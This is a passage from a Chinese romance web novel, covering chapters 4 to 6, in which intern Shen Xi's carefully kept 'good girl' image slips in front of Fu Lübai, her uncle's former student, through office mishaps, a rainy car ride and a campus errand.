难怪小叔会给予这样高的评价,确实细枝末节都能看出一二来。
不过那点好奇,在这人一直没出现后,便被她抛之脑后,还乐得自在。
没想到今天!这人就这么猝不及防!出现在了自己面前!
还!
没有一丝丝防备的就这么摘掉了她这么多年捂得紧紧的小马甲!
猜都能知道,小叔大概会和他说自己多乖什么的,毕竟这些年她为了相安无事装的实在是太好了。
所以他刚刚,不是在
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同她确认,而是在遇到有两种面孔的小东西时,心情复杂的一言难尽?!
沈晞的瞳孔剧烈震荡。
傅律白眉峰微抬,压下眼中及不可察的浅笑。
“傅律白。”他十分有耐心的又重复了一遍,同时带着几分歉意道,“早就该来看你,但前两天去了趟国外。”
他说的十分诚恳谦和,就好像真的什么都不知道。
这样的反应让沈晞有些拿不准了,同时慌张的心又微微落了下来,甚至有个不切实际的想法——或许,他只是和前两次见到的人长得十分相像,毕竟,他现在的气质就很不一样。好像连下颌线棱角都更分明锐利了一点,带着些不可侵犯的疏离。
这样想着,沈晞悄悄打量他好几眼。
他的表情十分的平静如常,就好像真的只是初见而已。
这几乎是佐证了沈晞的想法,也许,他有个双胞胎兄弟也不一定。
沈晞安心下来,正打算礼貌打招呼,顺便在问一下他是否有个兄弟,她还挺想再见一下时。
就见他眼中浮现出藏不住或者不想再藏的淡淡浅笑。
“!”
“又见面了,沈小姐。”
“!!!”
-
沈晞是怎么回来的自己都不知道,一屁股坐进工位上,像是失了魂。
脑海里又响起最后被他刻意加深的“沈小姐”三个字,念得字正腔圆又不带任何的黏腻感,非常好听。好听到沈晞会为之心神轻颤,前提是不是这样的情景下。
现在,沈晞觉得自己的心“啪”的一下坠落谷底,直接骤停。
要不,还是就当我们从未见过吧。
沈晞将头埋进掌心,崩溃的撞着桌子。
虽然我逛吧骂人,但我是个乖宝宝。
同样从清吧里出来的傅律白或许可以接受——应该是从GUHIJ里走出来的,不过昨晚正常的社交距离下,她并未闻到他身上有什么难闻的酒气。可站在那里,总不能是因为深沉赏月。
可身为历史系教授的她小叔,一定接受不了啊。
他打电话过来问她最近怎么样,傅律白如实相告挺好的泡吧骂人日子非常有滋味。
然后双方陷入诡异的尴尬,那个画面单是想想……
啊啊啊啊啊啊啊!
明明前两次遇到,她觉得多多少少也算机缘际会有点罗曼蒂克的吧?
为什么这次的基调就这样惊恐啊!
傅律白好像真的自带了某种他人屏蔽器,就像昨晚她不知道三大金刚什么时候走了,刚刚也不知道她的主管庄凡是什么时候消失。
不知道什么时候消失的庄凡此时却站在不远处,神色复杂的看着她撞桌子,最后就当没看见一样去忙自己的事。
但一旁的彭念真就没这么好的定力了,两个人都在行政部实习,最后应该只会留下一个,锐昇这样的公司她是一定要努力留下来的。
刚刚她就看到沈晞被叫走,回来后就这样,如果她出了什么差错的话,自己留下来的可能就更高。
彭念真凑到她身旁,压低声音一脸关心的问:“庄主管刚刚叫你干嘛去啦,你没事吧?”
听到声音,沈晞停住撞桌子,抬起头,头发乱哄哄的,眼尾微垂一双圆润的大眼睛有些无神。
她长得真的超级乖,很好看。这个样子会让人觉得好像全天下人都错了,彭念真竟真的生出了几分担心和不忍。
然后就听沈晞生无可恋的说:“让我去死。”
“!!!”彭念真惊得将嘴长成了个O字。
她们分属不同主管带,庄凡其实能力更强一点,跟在她手下机会也就更多,其实她之前还很嫉妒沈晞。但是没想到私下这么严厉,竟然直接没做好事就让人去死?!
彭念真一时间开始庆幸,还好她没在庄凡手下。
正想着,沈晞却“唰”的一下站起身来。
吓了彭念真一跳,“你干嘛去?”
不会是要想不开跳楼吧?她只想竞争不想出人命啊!下意识伸手要抓住她。沈晞却已经往外走,她只抓住了把空气。
沈晞走出了英勇就义的气势,“我觉得我还能再救一下。”
4. 第 4 章
傅律白站在长长的走廊外,屋内的奢华像是被他随意抛之身后,光影将他的影子拉的很长,慢慢朦胧直到和被擦的光洁明亮的地板模糊到一起。
确实没想到,老师让帮着照看的人竟然她。
乍一看给人的感觉的确很乖,五官精致又小巧,说话的声音也带着江南女孩的软糯,虽然她已经极轻并不怎么明显。
尤其是那双玻璃珠似的干净无辜的眼睛,看上去又乖又清纯懵懂。可他还记得昨晚,她直白的盯着那三个喝醉酒的男人时,里面是冷静且锋利,看上去有股置身事外的清冷。
还有那骤然跑进雨中时的干净利落没有丝毫迟疑。
虽只有两面之缘,但实在是和老师说的情况有些不相符。
他看着人离开的方向,想到那个类似于因事情败露惊慌到不行,他好像看到她玻璃珠似的漂亮瞳孔都在地震,素□□致的一张小脸仿佛都要出现裂痕。她的表情怎么可以这样丰富。却还想维持最后的体面,尝试挺胸抬头最后却同手同脚的背影,终于忍不住嘴角溢出一些笑意。
就在这时手机响起。
他的铃声也很静,手机自带,音量被调到最小。
但在这安静的只有他一人的走廊里,也足够被听到。
傅律白垂眸看了眼屏幕,嘴角浅淡的弧度慢慢消失,变得平直。
-
顶楼天台。
程开霁也很会享受,将天台搞成了个休息饮吧,三三两两的椅子摆放着。在办公室闷久了就会上来透透风,或者有人干脆把电脑抱上来。
这会儿没别人,傅律白随便找了张椅子坐下,有些松懒的靠在椅背上。桌上还放着一张大概是上一位遗留下来的便利贴,余光映出上面写着些极具个人化的字符,他并未仔细辨别。
电话里的人用十分古怪的发音磕磕绊绊说着什么,仔细听,是在讲中文,连语法都很错乱,即使这样费力,却还是坚持着讲着中文,似乎是怕听电话的人不高兴。
但语气间全是不敢置信而努力压抑的喜悦。
傅律白眼睑轻垂,绿色便利贴上的字符不但个人化,还分布的十分错落,大概所属者是位非常天马行空的人。字倒是很好看,虽然看上去很潇洒随意可结构不散,应该是练过。
电话那头的人等了几秒,没听到回复,有些不安的小声试探,“傅先生?”
这三个字竟然说的十分标准,像是已经练过无数次。
“没错,是这样。”他语气很淡,似乎无喜无悲,却像是强心剂一样打到对方心里,激动的似乎灵魂都在战栗。
甚至连母语都不由自主的说了出来,却在说完一句后意识到,连说着抱歉。
傅律白十分宽容的说没关系,对方这才挂断电话。
结束通话后,傅律白人往后微仰,抬起眸,看着一座座恢宏气派的高楼大厦,最终视线落在远处的松柏亭上,不息的车流声传到这个高度也变成十分微弱的连音,这个季节楼顶的风还是很大,风吹动他质地偏软的白色衬衣领,他的眸子变得有些发沉。
-
刚刚还非常勇猛的沈晞,此时扒在紧闭的大门外踌躇不前。试图通过门缝看到些里面的情况,或听出点动静来。
不知道是不是这次遇到的他,没了细雨和黑夜的遮挡,周身散发的气质实在是太过清贵雅正,让她莫名有些紧张,不敢放肆,好像做什么不规矩端庄一点,都是对他的一种冒犯。
是以,她站在这里小二十分钟了,愣是连门都没敲下去。
“找我?”
傅律白从顶楼下来,看到的便是这一幕。他本来想直接离开,但忽然想到还有点小事忘了,就又返回。
只见人趴在门外,大概是因为办公室暖,她只穿着简单的白色宽松长袖T恤,直筒牛仔裤,微微弯着腰,正来回踱着步,活像朵小蘑菇。
原来她不止表情丰富,连形态都很不一样。
大概是没想到声音会从自己的身后传来,沈晞下意识转身。
走廊里的余光打在少女的身上,干净清纯到一尘不染,连眉眼间略带惊讶的表情都生动明媚。看到面前的人,下意识往前走了两步。
总不能让人家屈尊降贵,同时想着要和他怎么讲,毕竟他现在看上去实在不像好说话的样子。
还没想好,忽然左脚便是一滑,呲溜一下,差点就给他拜个晚年,还是单膝跪地的那种,不要说端庄体面和规矩,她连做人的勇气都快没有了。
好在傅律白反应快,动作快过大脑,下意识伸出手,也好在两个人距离便不算太远,再加上沈晞呲溜了一小段,更加拉近了两个人的距离,傅律白才得以虚托住她的胳膊。
其实这事还真不能太怪沈晞,是在傅律白已然到了前台,秘书办那些才接到通知有大人物要来,他们生死时速五分钟又速速擦了下地,大概是有水没擦干净。
傅律白也实在有些出乎意料,眼中带着几分诧异和忍俊不禁,就连眸色中的沉都被冲淡了一大半,“你干什么?”
沈晞被自己无语的闭了下眼睛。
太!丢!人!了!
她直接把这句话自动反应成:行这么大礼干什么?
实在是太想为自己找回点颜面,反正不要让他觉得自己真的是想给他下跪,脑子在高速运转中脱口而出道:“我在练瑜伽。”
其实本来想说太极的,但怕他这样性子的人万一真的练过,她会更丢人。
“……那你还挺专注的。”傅律白眼睫轻眨了下,说的慢条斯理相当顾及她的颜面,“能这样随时随地的练。”
“……”
随、时、随、地。
啊啊啊啊!
还不如就直接认下是在给他下跪,毕竟受人一跪什么什么话都不好说了。
傅律白这个视角,刚好可以看到她兔子似的雪白耳朵已经红透,像是快要滴血,如果可以,她的兔子耳朵都应该已经垂下来了。
还是不要为难一只兔子。
“找我什么事?”他淡声问。
在沈晞即将崩溃之际,他手攥住她小臂微微用力,将她拖了起来,强行将她从深陷的情绪里拉了出来,换入另一话题。
同时意识到她的胳膊好细,一只手环起来就那么一点,随即将她松开。
沈晞知道这是在帮她解围,没有在刨根究底这个话题让她难堪,人似乎也没看上去那样不近人情的难搞,或许和他商量一下也不是不行。
她暗自思索了下,同时打量了下这四通八达空荡荡一层,怕等会儿有人来,打着商量的看向他说:“傅律白,能去里面说么?”
说话时,下巴还冲着办公室的放下扬了下。
有求于人,所以她格外好声好气。
可听起来,声音便变得格外的软。
傅律白还是第一次听到被人这样叫名字,每个字都咬的极轻又软,又带着点犹豫的拖长,但又不是刻意有所图的腻。像是小兔子用毛茸茸的耳朵,轻蹭人的心尖。
他眸色微顿,老师的信息是否也太过不准,也未曾说她还爱撒娇。
“走吧。”傅律白抬起眸,率先往前,还绅士的为她打开了门。
沈晞还是第一次见到这间办公室的全貌,当真是气派华丽,她不着痕迹的打量着,却总觉得和身旁人的气质不符,不像是他的品位。
傅律白站在一侧,也没催促,反而视线淡淡轻扫了会客沙发以及进门和桌子旁的位置,似乎对这间办公室布局也不怎么熟,最终在某处落下,走过去,接了两杯水回来,并递给她了一杯。
沈晞谢过接下,喝了一口后,像是终于想到了正事又像是终于做好了心理建设,试探着开口,“你能不能……别和我小叔说啊?”
“说什么?”傅律白拿着一次性纸杯没喝,似乎只是想帮她倒一杯,轻睇了她一眼,“说茜茜乖得很,别人说什么就是什么,都不会生气发脾气的。”
他说的太过一本正经,用着他独有的平缓没什么情绪且有秩序的语调,一时间竟然听不出他是认真的,还是在开玩笑。
“茜茜”这个小名被他这样念出来时,她还愣了下。
随后慢慢反应过来,脸瞬间升温。
这个小叔,他怎么这样说啊!
“你跟我小叔,”她看向他,带着几分羞恼又疑惑的问,“你们很熟么?你跟着他学了很久么?”
不然怎么会说的这样夸张,语气这样亲切,简直是无话不谈的吐苦水一样。
小叔也曾托学校老师教授们照顾她一下,但从未用过如
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此夸张的语气,都是点到即止,毕竟小叔还是十分内敛谦和的人。
可就这措辞程度,她甚至觉得小叔亲手带的研究生,都不会如此亲近。
像是亲如一家,又像是没将他当做一个小辈看,像是同辈好友一般,她硬生生矮了一辈。
这个认知让沈晞心的情莫名有些复杂有些不舒服。
“沈教授是位很优秀的教授,不过很遗憾只跟沈教授学习了一个学期。”傅律白轻转了下纸杯,“熟,应当还算是熟的。”
沈晞正要问“就一个学期你们怎么能熟到这种程度”时,办公室的大门忽然被人从外面打开,将她未来得及开口的话打断。
程开霁姗姗来迟的走进来,因为要来公司一身西装革履穿的十分正规。本来是要陪傅律白一起来的,但家里忽然出了点事,事情也非常抓马。他母亲忽然在父亲的车里发现了一只口红,色号十分的年轻一看就不是母亲那个年龄用的。母亲甚至直言体面了一辈子老了老了反而忍不住,父亲也十分委屈。
他到时,两个人已吵得不可开交。他一边两边安抚,一边又悄悄问父亲是否真做了些什么,惹的父亲把他也骂了一顿,说他真要做什么至于等到现在。
这话不料被母亲听到,火气更大,说你其实早就想找了吧,真是委屈你了。
吵得程开霁头大,最后盘出是有一次他和女友小舒来家里吃饭,他的车子被人开去保养,饭后就用了这辆把人又给送回家。
才出了这么码事。
于是被拖到现在才来,他实在是太需要换个情绪,见到傅律白便忍不住和他讲,“三哥你昨天走早了好可惜,错过了段免费相声,那妹妹真的绝,骂人一套一套的可太有意思了。”
沈晞:“……”
是在说……她么?
傅律白没动,只眼尾微睇,淡淡看了她一眼。
像是在肯定她的想法,刚刚的情绪又瞬间被拉回,无意义被公开处刑,哥,求你别说了哥。
程开霁顺着傅律白的目光,才发现这还站着个人,站位原因,刚刚也只看到了个傅律白的背影,将人全部遮挡住了。知道傅律白过来的目的,又看到面前人长相,瞬间了然。
“呦,这就是内乖宝宝吧?妹妹好啊。”他客气又不失热情的打着招呼。
连这位没见过的,都知道她是个乖宝宝了?
沈晞眼睛微瞪的张了张嘴,几乎有些生无可恋,“你好。”
好不了了。
程开霁微怔,看着她带着几分认真的打量,像是在思考,“这声儿,怎么听着有点耳熟啊,我们见过么妹妹?”
“……”
沈晞没什么表情,很实事求是,但不稳的声音已经快要将她出卖,“没有。”
脑子里开始疯狂的呐喊,啊啊啊啊所以傅律白都已经和别人说了么?
那代入他的视角,他跟身边朋友说完自己要帮忙照扶一个乖宝宝,然后转头这个乖宝宝当众掉马,让他的面子往哪儿搁啊?
这种情况下,她还怎么和他谈,让他帮自己和小叔保密?
这不是,在疯狂的提醒他,他差点因为她丢了个大人。
她就是来自取其辱的。
傅律白却在此时,不紧不慢的来了句:“回头该让禹开然重新设计下二楼卡座了。”
“啊?”程开霁有些茫然,没太听懂,却立刻警醒起来,试探着问,“是哪不好?”
傅律白笑了下,话虽然是对着他说的,但目光却淡淡看向沈晞,意味深长道:“视野不太好。”
不好么?他觉得已经很好了啊。
程开霁仍有些困惑,但沈晞却很很懂了。
根据对话猜测,他们当时应该是在二楼,这意思是在说——视野在开阔一点,不但会觉得她声音耳熟,连长得都很眼熟呢:)
不过这事,也不怪禹开然的设计,实在是那天,两个人笑的有些没坐住,挡住了视线。再加上当时整个bar的光都有点暗暗的氛围感,沈晞又跑来的很快,才没看清长相。
但这事,却让程开霁放到心上了,转头就打电话就告诉了禹开然。
禹开然恍然大悟,“难怪三哥昨晚走那么早。”
边说着边联系设计师,让他们给出新方案来。
5. 第 5 章
之后的一周里,沈晞都很忐忑,生怕小叔打电话过来问她是怎么回事,更怕她这个岁月静好与世无争乖宝宝小马甲已经被她虚假的后母和生物学上的父亲知道。
这几天她也想了些补救话术,比如去bar里是和同学毕业聚会她强被拉去的,而且还是个清吧,这其实很好接受。至于骂人……
这个就不好讲了,要随机应变一点。比如她说真的只是在说壁画,没有别的意思。又或许,傅律白不会说到这一层。
虽然她想的很好,但在这天下班,顺路从食堂买了份炒河粉提到寝室,正要坐下来吃,却接到小叔电话时,她还是很忐忑。
语气间却未透露出半分的接听。
“最近怎么样,工作还习惯么?”温和的声音从电话那头传来。
沈晞用筷子轻戳了下河粉,眼神慢吞吞的转着,语调带着几分惯常的乖甜,不动声色道:“挺习惯的。”
“那就好。”沈兴学放下心来,“前两天我也和律白打过电话——”
沈晞的心离开紧绷起来。
然后就听小叔语气微变,温温和和的叮嘱着,“但是也别什么事都去麻烦人家知道么。”
沈晞紧绷的心送了下来,脑海中便又不自觉浮现出那张清贵如林间雾凇的脸,他没有和小叔多说什么。
他确实不像看上去那样不近人情,她轻咬了下唇,唇角却仍微微上扬。
“知道的。”她听话的应下,那双明亮的眸却在轻轻转动着,似乎忘记了在讲电话对方看不到,却也轻垂着眼睑,像是被看出什么一样,又轻戳了一下面前的河粉,状似不经意的问,“他跟您学历史的,怎么现在会去管理公司啦?这看上去好像很不搭边。”
小叔不以为意,语气间还带着几分骄傲,“哪里不搭,以史为鉴,说明人家早就看透了本质。”
“那也很不同吧,至少体系基础就不一样。”沈晞故意反驳着,可听上去却好像真十分不解一样。
沈兴学却想到了别处,带着几分打趣道:“怎么?怕他教不了什么,不信人家的能力?”
“当然不是,”沈晞否认,轻抿了下唇,“只是觉得他看上去不像学历史的。”
她平时太过乖巧安静,沈兴学有意逗着她让她多说几句,“哦,那学历史的应该什么样子?”
沈晞的嘴很甜,“至少要向小叔这样,高风亮节是个儒雅先生。”
沈兴学故意道:“你干脆直接说我死板老派,是个老学究。”
“才没有。”沈晞当然知道他的用意,却当不懂的样子,将说错话被误解后,乖女孩的紧张害羞拿捏的很准。
小叔之后又叮嘱了她几句,还不放心的说着看最近京市天气多变,让她当心别生病。
沈晞一一应下,挂了电话后,漫不经心的吃着有点黏一起的河粉。慢慢吞吞的,思绪却已经纷飞不由自主想着,那个人雅确实很雅,也没有看完通史的厚重与沉重的暮气。但更清贵。便自带了一种的距离感,是那种即使在这样的人身边,也让人觉得走不进他的心里距离感。
虽然他明明温温淡淡的,没居高临下。
沈晞轻嘟了下嘴,没什么胃口的吃着半冷不热的河粉。
她还发现,他似乎也不怎么来公司,以至于今天只一晃而过露了个脸,便引起不小的骚动。
当时办公室的大门大开,外面也全是玻璃墙,玻璃墙外贴少许公司logo和少许点缀。
沈晞正戳中下巴有点发呆,傅律白不知道从哪里忽然冒出来,依旧穿着白色衬衣从眼前划过,他腿长步子大,可却不显丝毫匆忙急乱,步子很稳。
她的目光下意识跟随着,他的脸从磨砂的logo遮挡中时清时模糊。他明明这样随意的装扮,程开霁一身西装革履的跟在他一旁,却被衬的像极了个跟班,真是神奇。
直到那个身影彻底消失,她才恍然般收回自己的视线。暗骂自己实在是太过没出息,竟然看人看出了神。在自我唾弃中快速收回思想,打算全心投入工作以求赎罪,却发现周围的人也都未曾好到哪里去,甚至更加夸张。
“天啦,这是哪里来的,这么帅?”
“听说是新外聘来的什么专家顾问。”
“这样子的专家顾问真的相当有说服力,这气质身段太绝了,不像有的那些,说出天可怎么看怎么像卖保险的。”
“哈哈哈理财顾问怎么不是顾问呢?但是这位真的好厉害,这肩头比太标准了,肩又宽腰又窄,腿还又直又长,看上去就很有劲。肩很好靠,腰很好抱,人也很好——”大概是终于意识到场合有些不对,已阅男无数的姐姐轻咳了下,“嘿嘿”两声留给个你懂得眼神。
“但是这样子的人,真的好难搞诶,明明全身上下都在勾人,可是气质太高远清贵了,就差写着‘我是你得不到的男人’了,啊啊啊啊这就叫X张力么,真的看得人心尖痒痒的。”
沈晞听着她们的话,脑中也不由得出现他那腰和胸,脸还未来得及上温度,桌子忽然被轻敲了两下将她的思绪拉回。
庄凡完全没受任何一点影响的站在她面前,看看这定力,沈晞暗道佩服。
“周五KOJG公司会过来和我们聊这一年合作的事,会议室你来布置。”庄凡说着,同时给了她一沓文件,“这是资料,周二把方案交给我。”
见到庄凡其他人也都禁了声,默默开始做自己手头上的事。
沈晞接过,等庄凡离开后,她看着上面密密麻麻的资料,轻叹了口气。
这就是走神没好好工作的代价吧。
行政部行政部,说的好听,其实就是打杂的,哪里需要哪里搬。
彭念真忽然凑了过来,“KOJG会议给你啦?”
“是啊……”沈晞有些头疼,刚刚还收到导师通知,说论文有些问题叫她回趟学校。
彭念真脸色却比她还有些僵硬难看,KOJG是个大项目,如果合作成功那肯定参与人员都会收到嘉奖,哪怕前期其实早已经谈完,现在过来不过是在来当面确定彻底了解彼此一下。
成败其实算不到她们头上,可也一定会成为实习期的一个很好的履历。
庄凡确实比她领导厉害,可以拿到这个项目。前两天她还为庄凡太过严厉而不在她手下,多少感到点平衡,可现在却还是很羡慕。
她以为这么重要的项目,庄凡至少自己做,没想到却直接给了沈晞。
沈晞翻看着资料信息,在脑海中先大致整理着思路,没看到她的表情。
直到下班前,她简单的弄出个大纲来,关上了电脑。
又跑去北巷福源记买了些老式糕点,她记得导师买过几次,大约是爱吃。不知道论文究竟什么情况,礼节到位总是没错。
她虽然不喜欢这些,但这些年跟在外婆和那个父亲身边,倒也学到些为人处世沾了一二人情世故。
老店了,即使这些年林林总总异军突起众多,京市本地人还是对它的热情不减,沈晞还是排了半个多小时的队才买到,出店时却意外发现下起了雨。
小叔提醒的果然没错,不过她却没听进去半点,并未带伞。
店内排队的人已经排满,她站在屋檐下,拿出手机点开打车软件来叫车。
沈晞一看顿时两眼一蒙,大概是这场雨来的太突然,又是晚高峰,转了半天也无人接单,虽已在意料之中,但多少有些丧气。
却也只能等,等雨停,或者等有带伞的好心人要去坐地铁,稍微带她一段路。
老店连包装都是用的纸袋子,沈晞将它小心抱进怀里,怕临时又怕压碎,小心翼翼的站在檐下避雨,看上去有点可怜兮兮的。
在人群熙攘杂乱拥堵车流中,都如此显眼。
或者说,如此环境下,她更应该显眼,是昏暗慌乱中唯一抹亮,牛仔外套素白的裙子,偶有一两滴雨水溅在她白净的脸上,顺着滑落,她随意拿手一抹,便有种出水芙蓉的清丽美艳。
傅律白本无色无波的看着外面一切都是昏暗的世界,忽地视线那么一睇,便看到了她。好似她周遭的世界都也有了些亮色,不再那样死气沉沉。
“靠过去。”他淡声说着,可好像连声音都多了几分温度。
四月初下雨还是有点冷的,沈晞一手抱着糕点袋,一手拿着手机又低头看了眼,好消息是她已经进入排队等待,但前面还有三四十个人,不知道什么时候才能排到。
还没有人打伞走过,这场雨来的实在是太突然,雨势又大了点,开始往里潲,沈晞不得不再往里躲躲,侧头间便见一辆黑色奔驰在雨雾中和路灯下稳稳当当的开了过来。她第一次这样闲情逸致的去观察,光打在水珠上折射出的光像是个光亮干净的车子打上了一层滤镜。
一时间竟然有种梦幻的浪漫感。
随着车子的靠近,她又觉得这辆车,有点眼熟。其实是个挺普通的款式,不知是否是因为这稳稳当当连水花都不曾怎么激起的行事作风,让她莫名想起一个人。让她不由多看了几眼。
还未等她想明白,车子便压着水花,平稳的停在她的面前。
后车窗慢慢降下,隔着薄薄雨雾,那人便出现在自己视线中。
沈晞第一个念头是,这个男人和雨天真是顶配。
朦胧雨水压下了他的一身清贵高不可攀,添加了几分清冷却又温淡甚至带着点破碎的想要靠近和拥抱。
沈晞便又难得的在他身上感受到了第一次见他时,他身上所散发出来的气质。
她就这样静静看着,看的有些出神,司机便已经打开车门,打着伞下来邀请她上车。
沈晞这才回过神来,不着痕迹的压下刚刚的怔愣,却没动。看着车里的人问:“我要回学校,你顺路么?”
大抵是不顺路的,她学校不在市区,这个时间应当也不会去那边办事。
问的有些虚伪,又像是某种试探,至于想探出什么得到什么答案,或许她自己也不清楚。
傅律白看向她,浅淡的眸色里难得晕上了几分温度,像是为了安抚她,“无妨,一段路而已。”
温淡的嗓音都似乎因伴着雨声,听上去有种温柔缱绻的错觉。
好像真的无所谓,顺路或是不顺路,也都只是一段路,他并未当回事。沈晞眸色微顿,这个答案也说不清是想要的还是没那么满意,却也还是上了车。
有了如此坚硬密闭的空间庇佑,不在风吹淋雨,立刻暖和起来,就连人都放松下来,外加身旁的人今天也格外让人放松。
雨天真是个好天气,如果不让她淋雨的话。
“谢谢
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啦。”她对着他轻笑,礼貌道谢。
傅律白看着她眸色及不可察的一深,随后淡去,唇角也礼尚往来的带上些浅浅弧度,“不谢。”
玉质般的清润,语调微微的扬,听得沈晞心尖有些发痒,手指无意识轻抓住身下小牛皮垫,却让自己的眼神生生顿住,没有慌忙闪躲。
这才发现他穿的并不是白天那件,亚麻灰衬衣外叠了件米色休闲西装外套,这还是第一次见他穿西装,不过因为休闲款却丝毫不商务。衬衣质地还是偏软的,好像几次件他都喜欢这样随意且舒服的款式,但这样的颜色搭配,却多少中和了些他那股木秀于林的气质,更内敛谦和了不少。
他好会搭配,审美很高级。
他现在实在是太可亲近了,沈晞便也有些忘了规矩,有着和他聊天的欲望,于是她开口,“你平时怎么总不在公司啊?”
这句话,其实问的也不算越界,就是面对一个才认识不久,可关系却不算远的人,对对方好奇,想要更加了解一点而已。
可在傅律白淡淡的看着她时,她呼吸却忽然一紧。或许是因为即使这样坐着,他也高过自己太多,又或许是密闭空间下,她竟然有一种,被居高临下看着的压迫感。
也在这一瞬间恍然意识到,这似乎算是对他的某种探寻。
这对于他来说,算是越界的么?
这时,傅律白却眉梢微扬,问:“很好奇?”
不知这句话是通往他世界的许可证,还是斩杀前的确认,沈晞心跳的快要从嗓子眼里出来,仓惶的垂下了眸,过了两秒,才声音有些低又有些哑的说:“没有。”
傅律白愣了下,在垂眸看到放在车座上微微攥紧的手时,更是不由看向她,似乎想在她表情中看出些什么来。
但她似乎已经收敛起了情绪,目光淡淡看向窗外,他也便只能看到一幅漂亮的好皮囊。一双圆润的眼一眨一眨的,和雨滴坠落的频率一致。
他收回视线,自顾自的回答着她之前的问题,“刚刚去拜访了一位长辈。”
视线的收回让沈晞压力骤减,却又诧异于他竟然会开口,一时间也不知道回以什么。
然后便又听傅律白带着几分笑意的说:“怎么,想要去老师那里告状,说我整日不在公司,带不好你?”
带着些玩笑和打趣,沈晞却有些勉强,“怎么会。”
好在终于到了站,沈晞骤然松了口气,车子停稳后,对着傅律白再次道了句“谢谢”便跑下了车。
速度快到傅律白都没反应过来,他透过车窗看着在雨中奔跑的少女,裙摆在微风下斜动着,其实是一副十分具有生命力的画面,拍照拿出去都会得奖那种。
他却不由的轻蹙了下眉,想起储物盒内的那把碎花伞还未来得及给她,好在现在雨势小了,只是微弱的毛毛雨,不会将明艳的芙蓉花浇坏。
司机田师傅透过后视镜看到他的反应,却会错了意,“傅先生,需不需要查查?”
傅律白收回了视线,明白他的意思,在戒备她打探行踪的那句。
“不用,一个小姑娘而已。”他依旧淡声,可语气里却露出几分自己都没意识到的纵容和宠溺来,却让田师傅听的一怔。
还没等田师傅回过神来,便又听他语调中难得带着几分疑惑,问:“我看上去很不好相处?”
“怎么会。”田师傅收回思绪,通过后视镜和他对视,脸上带着几分憨厚又诚恳的笑,“您是我遇到的脾气最好的人,您要是再不好相处,世上便没好相处的人了。”
他从国外便是给傅先生开车的,回国后也一直跟着,他就没见傅先生和谁发过什么脾气,就连刚回国时他路不熟,开错了两次。
有一次事还挺重要的,但他上了高架,绕下来折返至少得一个多小时。他顿时紧张又自责的不知道怎么办,诚惶诚恐时却听傅先生语气温淡十分闲适的靠在椅背上,说:“没事,就当赏赏景了,久不回来京市夜景确实有看头。”
没责骂半分,甚至还在安抚着他,这样的傅先生又哪里会不好相处。
傅律白看着窗外彻底停下来的雨没在讲话。
他发现,她似乎面对他不如之前两次还未知道彼此身份时灵动有趣,总是带着些收敛。起初他以为是她面对类似于上级领导时的谨慎。
但其实他这些天,也不是一次公司都没去过。总共去过两次,好巧不巧,一次见她嘴微嘟和她直属领导讨价还价,像是不想接某个项目摇着人胳膊的撒娇;
那时他想,或许是因为面对的是位女性,她会放下些防备。
可没过两天他又路过公司,等程开霁一起去办点事,他坐在车里,看着她大概是午休期间去楼下买杯咖啡,遇到程开霁时非常不见外的摆手说嗨。
也便只有刚刚,她上车后对他说“谢谢啦”难得带着活泼。她问他一句,他不过是看她一眼,她好像就又变得有些紧张,就连下车时的“谢谢”都变得客气又公事公办。
他实在是不解,甚至开始不由怀疑,自己是否不好相处。
细想来,或许她将自己化为了他小叔的阵营,才放不太开。
傅律白觉得有些可惜,难得见到一位这么生动肆意的,偏偏到他这蔫了。
他觉得自己实在是被老师牵累,相当无辜。
6. 第 6 章
糕点被她一路护在怀里,毫发无伤。
第二天是周六,一大早沈晞便换好衣服拿着糕点去找了导师,庆幸没什么大问题只有两个模块需要修改一下,出来时却被院领导叫住。
院领导叫张光远,正一脸愁容绕着办公室旁的柱子背手转圈,下意识想要抓头,却在摸到稀疏的发时又忍住,强行转圈,这么一转就看到了沈晞,眼睛立刻就亮了,“沈晞,来来,赶紧的。”
都没等沈晞过来,他自己便已经迎了过去,“救人如救火,你可真是我的福星。”
沈晞还没反应过来,便被张光远拉着往他办公室走去。
路上沈晞才了解,明日有位贵人要和校董一起过来参观,他们文学院不比其他院系的校友容易赚大钱,可以回来时不时的捐栋楼或者翻新一下,他们现在这栋老的下个雨都能时不时掉墙皮。
被他们自嘲的笑称这才有文学历史的厚重感,名校就是这样。外院的那些花里胡哨的新楼,看上去就很华而不实。
话是这样说,但他们这楼实在是太过难看,据说明天来的这位还是很乐善好施的,没准就能给他们捐一栋。
但通知的实在太过匆忙,就这么大半天的准备时间,新上来的学生会分院主席经验又不够,急的张光远直想撞墙。没想到就看到了沈晞。
沈晞当年入学时,沈兴学怕她太孤僻便让她多参加些学校活动多锻炼一下自己,她当然乖乖说好。没想到一个不小心就这样一路混上了分院主席,还有意推荐她参加校竞选,吓得她在发言时瞎说,但不知道那些人怎么搞的,竟然觉得跟她干会很有意思,甚至有人直接说看着她脸干活就不累,她心想自己是什么士力架么?差点真给她选上了,她人都傻了,只得连连求助的看向郑奇杰。
好在郑奇杰准备的十分充分,对比她这天马行空乱来的实在是高下立判,才让她免遭此劫。但院里的事情她倒还是蛮积极认真的,她虽然平时很咸鱼很爱偷懒,但她接了给她了,她也就不会不上心凑合了事。
来的路上,张光远已经打了电话过去,到办公室没五分钟,新上任的关晴晴便冲了进来,看到沈晞,直接扑到了她的怀里,“呜呜呜学姐,见到你真好学姐。”
沈晞被撞得后退了两步才稳住,心想这是把人给逼成什么样了,下意识看了眼张光远。
张光远生生悟出了一丝指责又怀疑但不敢说的意味,也有点尴尬的摸了摸头,觉得自己应该没有吧?他自认还是个好老师好领导啊,他觉得有时间得好好喝关晴晴聊一下,看是不是有什么误会,不然这未来一年多的工作很难开展啊。
但眼下还有更重要的事做,他轻咳了一声,“那什么……”
关晴晴却已经站起身,都没等他开口,便拉着沈晞带着身后一群小跟班走了。
小跟班匆匆来匆匆去,只剩跟领导点头示意问好和再见。
张光远却心里“喔嚯”了一声,眼圈真红了啊,他又抓了抓头,脆弱的头发从指缝间掉落了两根。
-
去社团的路上,沈晞还安慰了关晴晴一下,“张老师其实挺好说话的,你跟他撒撒娇装装可怜有的时候就过去了。”
“我知道,我就是压力大啊!”关晴晴抱着她的胳膊不撒手,“你可算是来了学姐,不然我都不知道怎么办了。”
她还是习惯的叫着沈晞学姐,完全没有自己主席权力被暂时剥夺的不悦。
“行吧,”沈晞轻叹了口气,像是有点无奈,可语气其实一点也不勉强,“在救你最后一次。”
下面一群新加入的大一新生们:我去,那个眼神有点宠啊是怎么回事?
新生二:老天,有这种大腿可以抱也太幸福了吧。
新生三:好想自己以后搞不定也能在大佬怀里哭,直接帮搞定。
